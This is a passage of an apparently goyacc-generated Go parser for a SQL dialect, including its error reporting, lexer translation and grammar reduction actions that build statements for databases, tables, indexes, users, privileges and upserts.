yyStatenames[s] != \"\" {\n\t\t\treturn yyStatenames[s]\n\t\t}\n\t}\n\treturn __yyfmt__.Sprintf(\"state-%v\", s)\n}\n\nfunc yyErrorMessage(state, lookAhead int) string {\n\tconst TOKSTART = 4\n\n\tif !yyErrorVerbose {\n\t\treturn \"syntax error\"\n\t}\n\n\tfor _, e := range yyErrorMessages {\n\t\tif e.state == state && e.token == lookAhead {\n\t\t\treturn \"syntax error: \" + e.msg\n\t\t}\n\t}\n\n\tres := \"syntax error: unexpected \" + yyTokname(lookAhead)\n\n\t// To match Bison, suggest at most four expected tokens.\n\texpected := make([]int, 0, 4)\n\n\t// Look for shiftable tokens.\n\tbase := int(yyPact[state])\n\tfor tok := TOKSTART; tok-1 < len(yyToknames); tok++ {\n\t\tif n := base + tok; n >= 0 && n < yyLast && int(yyChk[int(yyAct[n])]) == tok {\n\t\t\tif len(expected) == cap(expected) {\n\t\t\t\treturn res\n\t\t\t}\n\t\t\texpected = append(expected, tok)\n\t\t}\n\t}\n\n\tif yyDef[state] == -2 {\n\t\ti := 0\n\t\tfor yyExca[i] != -1 || int(yyExca[i+1]) != state {\n\t\t\ti += 2\n\t\t}\n\n\t\t// Look for tokens that we accept or reduce.\n\t\tfor i += 2; yyExca[i] >= 0; i += 2 {\n\t\t\ttok := int(yyExca[i])\n\t\t\tif tok < TOKSTART || yyExca[i+1] == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(expected) == cap(expected) {\n\t\t\t\treturn res\n\t\t\t}\n\t\t\texpected = append(expected, tok)\n\t\t}\n\n\t\t// If the default action is to accept or reduce, give up.\n\t\tif yyExca[i+1] != 0 {\n\t\t\treturn res\n\t\t}\n\t}\n\n\tfor i, tok := range expected {\n\t\tif i == 0 {\n\t\t\tres += \", expecting \"\n\t\t} else {\n\t\t\tres += \" or \"\n\t\t}\n\t\tres += yyTokname(tok)\n\t}\n\treturn res\n}\n\nfunc yylex1(lex yyLexer, lval *yySymType) (char, token int) {\n\ttoken = 0\n\tchar = lex.Lex(lval)\n\tif char <= 0 {\n\t\ttoken = int(yyTok1[0])\n\t\tgoto out\n\t}\n\tif char < len(yyTok1) {\n\t\ttoken = int(yyTok1[char])\n\t\tgoto out\n\t}\n\tif char >= yyPrivate {\n\t\tif char < yyPrivate+len(yyTok2) {\n\t\t\ttoken = int(yyTok2[char-yyPrivate])\n\t\t\tgoto out\n\t\t}\n\t}\n\tfor i := 0; i < len(yyTok3); i += 2 {\n\t\ttoken = int(yyTok3[i+0])\n\t\tif token == char {\n\t\t\ttoken = int(yyTok3[i+1])\n\t\t\tgoto out\n\t\t}\n\t}\n\nout:\n\tif token == 0 {\n\t\ttoken = int(yyTok2[1]) /* unknown char */\n\t}\n\tif yyDebug >= 3 {\n\t\t__yyfmt__.Printf(\"lex %s(%d)\\n\", yyTokname(token), uint(char))\n\t}\n\treturn char, token\n}\n\nfunc yyParse(yylex yyLexer) int {\n\treturn yyNewParser().Parse(yylex)\n}\n\nfunc (yyrcvr *yyParserImpl) Parse(yylex yyLexer) int {\n\tvar yyn int\n\tvar yyVAL yySymType\n\tvar yyDollar []yySymType\n\t_ = yyDollar // silence set and not used\n\tyyS := yyrcvr.stack[:]\n\n\tNerrs := 0   /* number of errors */\n\tErrflag := 0 /* error recovery flag */\n\tyystate := 0\n\tyyrcvr.char = -1\n\tyytoken := -1 // yyrcvr.char translated into internal numbering\n\tdefer func() {\n\t\t// Make sure we report no lookahead when not parsing.\n\t\tyystate = -1\n\t\tyyrcvr.char = -1\n\t\tyytoken = -1\n\t}()\n\tyyp := -1\n\tgoto yystack\n\nret0:\n\treturn 0\n\nret1:\n\treturn 1\n\nyystack:\n\t/* put a state and value onto the stack */\n\tif yyDebug >= 4 {\n\t\t__yyfmt__.Printf(\"char %v in %v\\n\", yyTokname(yytoken), yyStatname(yystate))\n\t}\n\n\tyyp++\n\tif yyp >= len(yyS) {\n\t\tnyys := make([]yySymType, len(yyS)*2)\n\t\tcopy(nyys, yyS)\n\t\tyyS = nyys\n\t}\n\tyyS[yyp] = yyVAL\n\tyyS[yyp].yys = yystate\n\nyynewstate:\n\tyyn = int(yyPact[yystate])\n\tif yyn <= yyFlag {\n\t\tgoto yydefault /* simple state */\n\t}\n\tif yyrcvr.char < 0 {\n\t\tyyrcvr.char, yytoken = yylex1(yylex, &yyrcvr.lval)\n\t}\n\tyyn += yytoken\n\tif yyn < 0 || yyn >= yyLast {\n\t\tgoto yydefault\n\t}\n\tyyn = int(yyAct[yyn])\n\tif int(yyChk[yyn]) == yytoken { /* valid shift */\n\t\tyyrcvr.char = -1\n\t\tyytoken = -1\n\t\tyyVAL = yyrcvr.lval\n\t\tyystate = yyn\n\t\tif Errflag > 0 {\n\t\t\tErrflag--\n\t\t}\n\t\tgoto yystack\n\t}\n\nyydefault:\n\t/* default state action */\n\tyyn = int(yyDef[yystate])\n\tif yyn == -2 {\n\t\tif yyrcvr.char < 0 {\n\t\t\tyyrcvr.char, yytoken = yylex1(yylex, &yyrcvr.lval)\n\t\t}\n\n\t\t/* look through exception table */\n\t\txi := 0\n\t\tfor {\n\t\t\tif yyExca[xi+0] == -1 && int(yyExca[xi+1]) == yystate {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\txi += 2\n\t\t}\n\t\tfor xi += 2; ; xi += 2 {\n\t\t\tyyn = int(yyExca[xi+0])\n\t\t\tif yyn < 0 || yyn == yytoken {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tyyn = int(yyExca[xi+1])\n\t\tif yyn < 0 {\n\t\t\tgoto ret0\n\t\t}\n\t}\n\tif yyn == 0 {\n\t\t/* error ... attempt to resume parsing */\n\t\tswitch Errflag {\n\t\tcase 0: /* brand new error */\n\t\t\tyylex.Error(yyErrorMessage(yystate, yytoken))\n\t\t\tNerrs++\n\t\t\tif yyDebug >= 1 {\n\t\t\t\t__yyfmt__.Printf(\"%s\", yyStatname(yystate))\n\t\t\t\t__yyfmt__.Printf(\" saw %s\\n\", yyTokname(yytoken))\n\t\t\t}\n\t\t\tfallthrough\n\n\t\tcase 1, 2: /* incompletely recovered error ... try again */\n\t\t\tErrflag = 3\n\n\t\t\t/* find a state where \"error\" is a legal shift action */\n\t\t\tfor yyp >= 0 {\n\t\t\t\tyyn = int(yyPact[yyS[yyp].yys]) + yyErrCode\n\t\t\t\tif yyn >= 0 && yyn < yyLast {\n\t\t\t\t\tyystate = int(yyAct[yyn]) /* simulate a shift of \"error\" */\n\t\t\t\t\tif int(yyChk[yystate]) == yyErrCode {\n\t\t\t\t\t\tgoto yystack\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t/* the current p has no shift on \"error\", pop stack */\n\t\t\t\tif yyDebug >= 2 {\n\t\t\t\t\t__yyfmt__.Printf(\"error recovery pops state %d\\n\", yyS[yyp].yys)\n\t\t\t\t}\n\t\t\t\tyyp--\n\t\t\t}\n\t\t\t/* there is no state on the stack with an error shift ... abort */\n\t\t\tgoto ret1\n\n\t\tcase 3: /* no shift yet; clobber input char */\n\t\t\tif yyDebug >= 2 {\n\t\t\t\t__yyfmt__.Printf(\"error recovery discards %s\\n\", yyTokname(yytoken))\n\t\t\t}\n\t\t\tif yytoken == yyEofCode {\n\t\t\t\tgoto ret1\n\t\t\t}\n\t\t\tyyrcvr.char = -1\n\t\t\tyytoken = -1\n\t\t\tgoto yynewstate /* try again in the same state */\n\t\t}\n\t}\n\n\t/* reduction by production yyn */\n\tif yyDebug >= 2 {\n\t\t__yyfmt__.Printf(\"reduce %v in:\\n\\t%v\\n\", yyn, yyStatname(yystate))\n\t}\n\n\tyynt := yyn\n\tyypt := yyp\n\t_ = yypt // guard against \"declared and not used\"\n\n\tyyp -= int(yyR2[yyn])\n\t// yyp is now the index of $0. Perform the default action. Iff the\n\t// reduced production is ε, $1 is possibly out of range.\n\tif yyp+1 >= len(yyS) {\n\t\tnyys := make([]yySymType, len(yyS)*2)\n\t\tcopy(nyys, yyS)\n\t\tyyS = nyys\n\t}\n\tyyVAL = yyS[yyp+1]\n\n\t/* consult goto table to find next state */\n\tyyn = int(yyR1[yyn])\n\tyyg := int(yyPgo[yyn])\n\tyyj := yyg + yyS[yyp].yys + 1\n\n\tif yyj >= yyLast {\n\t\tyystate = int(yyAct[yyg])\n\t} else {\n\t\tyystate = int(yyAct[yyj])\n\t\tif int(yyChk[yystate]) != -yyn {\n\t\t\tyystate = int(yyAct[yyg])\n\t\t}\n\t}\n\t// dummy call; replaced with literal code\n\tswitch yynt {\n\n\tcase 1:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmts = yyDollar[1].stmts\n\t\t\tsetResult(yylex, yyDollar[1].stmts)\n\t\t}\n\tcase 2:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmts = []SQLStmt{yyDollar[1].stmt}\n\t\t}\n\tcase 3:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmts = append([]SQLStmt{yyDollar[1].stmt}, yyDollar[3].stmts...)\n\t\t}\n\tcase 4:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t}\n\tcase 9:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &BeginTransactionStmt{}\n\t\t}\n\tcase 10:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &BeginTransactionStmt{}\n\t\t}\n\tcase 11:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &CommitStmt{}\n\t\t}\n\tcase 12:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &RollbackStmt{}\n\t\t}\n\tcase 13:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &CreateDatabaseStmt{ifNotExists: true, DB: yyDollar[6].id}\n\t\t}\n\tcase 14:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &CreateDatabaseStmt{ifNotExists: false, DB: yyDollar[3].id}\n\t\t}\n\tcase 15:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UseDatabaseStmt{DB: yyDollar[2].id}\n\t\t}\n\tcase 16:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UseDatabaseStmt{DB: yyDollar[3].id}\n\t\t}\n\tcase 17:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UseSnapshotStmt{period: yyDollar[3].period}\n\t\t}\n\tcase 18:\n\t\tyyDollar = yyS[yypt-9 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = newCreateTableStmt(yyDollar[6].str, yyDollar[8].tableElems, true)\n\t\t}\n\tcase 19:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = newCreateTableStmt(yyDollar[3].str, yyDollar[5].tableElems, false)\n\t\t}\n\tcase 20:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DropTableStmt{table: yyDollar[3].str}\n\t\t}\n\tcase 21:\n\t\tyyDollar = yyS[yypt-8 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &CreateIndexStmt{ifNotExists: yyDollar[3].boolean, table: yyDollar[5].str, cols: yyDollar[7].colNames}\n\t\t}\n\tcase 22:\n\t\tyyDollar = yyS[yypt-9 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &CreateIndexStmt{unique: true, ifNotExists: yyDollar[4].boolean, table: yyDollar[6].str, cols: yyDollar[8].colNames}\n\t\t}\n\tcase 23:\n\t\tyyDollar = yyS[yypt-7 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DropIndexStmt{table: yyDollar[4].str, cols: yyDollar[6].colNames}\n\t\t}\n\tcase 24:\n\t\tyyDollar = yyS[yypt-5 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DropIndexStmt{table: yyDollar[3].str, cols: []string{yyDollar[5].str}}\n\t\t}\n\tcase 25:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &AddColumnStmt{table: yyDollar[3].str, colSpec: yyDollar[6].colSpec}\n\t\t}\n\tcase 26:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &RenameTableStmt{oldName: yyDollar[3].str, newName: yyDollar[6].str}\n\t\t}\n\tcase 27:\n\t\tyyDollar = yyS[yypt-8 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &RenameColumnStmt{table: yyDollar[3].str, oldName: yyDollar[6].str, newName: yyDollar[8].str}\n\t\t}\n\tcase 28:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DropColumnStmt{table: yyDollar[3].str, colName: yyDollar[6].str}\n\t\t}\n\tcase 29:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DropConstraintStmt{table: yyDollar[3].str, constraintName: yyDollar[6].id}\n\t\t}\n\tcase 30:\n\t\tyyDollar = yyS[yypt-7 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &CreateUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission}\n\t\t}\n\tcase 31:\n\t\tyyDollar = yyS[yypt-7 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &AlterUserStmt{username: yyDollar[3].id, password: yyDollar[6].str, permission: yyDollar[7].permission}\n\t\t}\n\tcase 32:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DropUserStmt{username: yyDollar[3].id}\n\t\t}\n\tcase 33:\n\t\tyyDollar = yyS[yypt-8 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &AlterPrivilegesStmt{database: yyDollar[5].str, user: yyDollar[8].id, privileges: yyDollar[2].sqlPrivileges, isGrant: true}\n\t\t}\n\tcase 34:\n\t\tyyDollar = yyS[yypt-8 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &AlterPrivilegesStmt{database: yyDollar[5].str, user: yyDollar[8].id, privileges: yyDollar[2].sqlPrivileges}\n\t\t}\n\tcase 35:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivileges = allPrivileges\n\t\t}\n\tcase 36:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivileges = []SQLPrivilege{yyDollar[1].sqlPrivilege}\n\t\t}\n\tcase 37:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivileges = append(yyDollar[3].sqlPrivileges, yyDollar[1].sqlPrivilege)\n\t\t}\n\tcase 38:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeSelect\n\t\t}\n\tcase 39:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeCreate\n\t\t}\n\tcase 40:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeInsert\n\t\t}\n\tcase 41:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeUpdate\n\t\t}\n\tcase 42:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeDelete\n\t\t}\n\tcase 43:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeDrop\n\t\t}\n\tcase 44:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlPrivilege = SQLPrivilegeAlter\n\t\t}\n\tcase 45:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.permission = PermissionReadWrite\n\t\t}\n\tcase 46:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.permission = PermissionReadOnly\n\t\t}\n\tcase 47:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.permission = PermissionReadWrite\n\t\t}\n\tcase 48:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.permission = PermissionAdmin\n\t\t}\n\tcase 49:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = false\n\t\t}\n\tcase 50:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = true\n\t\t}\n\tcase 51:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[4].colNames, ds: yyDollar[5].ds, onConflict: yyDollar[6].onConflict}\n\t\t}\n\tcase 52:\n\t\tyyDollar = yyS[yypt-5 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[4].colNames, ds: yyDollar[5].ds}\n\t\t}\n\tcase 53:\n\t\tyyDollar = yyS[yypt-7 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].colNames, limit: yyDollar[6].exp, offset: yyDollar[7].exp}\n\t\t}\n\tcase 54:\n\t\tyyDollar = yyS[yypt-8 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].colNames, limit: yyDollar[7].exp, offset: yyDollar[8].exp}\n\t\t}\n\tcase 55:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = &valuesDataSource{rows: yyDollar[2].rows}\n\t\t}\n\tcase 56:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.ds = yyDollar[1].stmt.(DataSource)\n\t\t}\n\tcase 57:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.onConflict = nil\n\t\t}\n\tcase 58:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.onConflict = &OnConflictDo{}\n\t\t}\n\tcase 59:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.updates = []*colUpdate{yyDollar[1].update}\n\t\t}\n\tcase 60:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update)\n\t\t}\n\tcase 61:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp}\n\t\t}\n\tcase 62:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.rows = []*RowSpec{yyDollar[1].row}\n\t\t}\n\tcase 63:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row)\n\t\t}\n\tcase 64:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.row = &RowSpec{Values: yyDollar[2].values}\n\t\t}\n\tcase 65:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.cols = []*ColSelector{yyDollar[1].col}\n\t\t}\n\tcase 66:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col)\n\t\t}\n\tcase 67:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.values = nil\n\t\t}\n\tcase 68:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.values = yyDollar[1].values\n\t\t}\n\tcase 69:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.values = []ValueExp{yyDollar[1].exp}\n\t\t}\n\tcase 70:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.values = append(yyDollar[1].values, yyDollar[3].exp)\n\t\t}\n\tcase 71:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Integer{val: int64(yyDollar[1].integer)}\n\t\t}\n\tcase 72:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Float64{val: float64(yyDollar[1].float)}\n\t\t}\n\tcase 73:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Varchar{val: yyDollar[1].str}\n\t\t}\n\tcase 74:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Bool{val: yyDollar[1].boolean}\n\t\t}\n\tcase 75:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Blob{val: yyDollar[1].blob}\n\t\t}\n\tcase 76:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType}\n\t\t}\n\tcase 77:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = yyDollar[1].value\n\t\t}\n\tcase 78:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Param{id: yyDollar[1].id}\n\t\t}\n\tcase 79:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &Param{id: fmt.Sprintf(\"param%d\", yyDollar[1].pparam), pos: yyDollar[1].pparam}\n\t\t}\n\tcase 80:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &NullValue{t: AnyType}\n\t\t}\n\tcase 81:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = IntegerType\n\t\t}\n\tcase 82:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = BooleanType\n\t\t}\n\tcase 83:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = VarcharType\n\t\t}\n\tcase 84:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = UUIDType\n\t\t}\n\tcase 85:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = BLOBType\n\t\t}\n\tcase 86:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = TimestampType\n\t\t}\n\tcase 87:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = Float64Type\n\t\t}\n\tcase 88:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.sqlType = JSONType\n\t\t}\n\tcase 89:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values}\n\t\t}\n\tcase 90:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.tableElems = []TableElem{yyDollar[1].tableElem}\n\t\t}\n\tcase 91:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.tableElems = append(yyDollar[1].tableElems, yyDollar[3].tableElem)\n\t\t}\n\tcase 92:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.tableElem = yyDollar[1].colSpec\n\t\t}\n\tcase 93:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.tableElem = yyDollar[1].check\n\t\t}\n\tcase 94:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.tableElem = PrimaryKeyConstraint(yyDollar[3].colNames)\n\t\t}\n\tcase 95:\n\t\tyyDollar = yyS[yypt-6 : yypt+1]\n\t\t{\n\t\t\tyyVAL.colSpec = &ColSpec{\n\t\t\t\tcolName:       yyDollar[1].str,\n\t\t\t\tcolType:       yyDollar[2].sqlType,\n\t\t\t\tmaxLen:        int(yyDollar[3].integer),\n\t\t\t\tnotNull:       yyDollar[4].boolean || yyDollar[6].boolean,\n\t\t\t\tautoIncrement: yyDollar[5].boolean,\n\t\t\t\tprimaryKey:    yyDollar[6].boolean,\n\t\t\t}\n\t\t}\n\tcase 96:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = false\n\t\t}\n\tcase 97:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = true\n\t\t}\n\tcase 98:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.integer = 0\n\t\t}\n\tcase 99:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.integer = yyDollar[2].integer\n\t\t}\n\tcase 100:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.integer = yyDollar[2].integer\n\t\t}\n\tcase 101:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = false\n\t\t}\n\tcase 102:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = true\n\t\t}\n\tcase 103:\n\t\tyyDollar = yyS[yypt-0 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = false\n\t\t}\n\tcase 104:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = false\n\t\t}\n\tcase 105:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.boolean = true\n\t\t}\n\tcase 106:\n\t\tyyDollar = yyS[yypt-1 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = yyDollar[1].stmt\n\t\t}\n\tcase 107:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &UnionStmt{\n\t\t\t\tdistinct: yyDollar[3].distinct,\n\t\t\t\tleft:     yyDollar[1].stmt.(DataSource),\n\t\t\t\tright:    yyDollar[4].stmt.(DataSource),\n\t\t\t}\n\t\t}\n\tcase 108:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"databases\"}},\n\t\t\t}\n\t\t}\n\tcase 109:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"tables\"}},\n\t\t\t}\n\t\t}\n\tcase 110:\n\t\tyyDollar = yyS[yypt-3 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"table\", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}},\n\t\t\t}\n\t\t}\n\tcase 111:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"users\"}},\n\t\t\t}\n\t\t}\n\tcase 112:\n\t\tyyDollar = yyS[yypt-2 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"grants\"}},\n\t\t\t}\n\t\t}\n\tcase 113:\n\t\tyyDollar = yyS[yypt-4 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = &SelectStmt{\n\t\t\t\tds: &FnDataSourceStmt{fnCall: &FnCall{fn: \"grants\", params: []ValueExp{&Varchar{val: yyDollar[4].id}}}},\n\t\t\t}\n\t\t}\n\tcase 114:\n\t\tyyDollar = yyS[yypt-13 : yypt+1]\n\t\t{\n\t\t\tyyVAL.stmt = 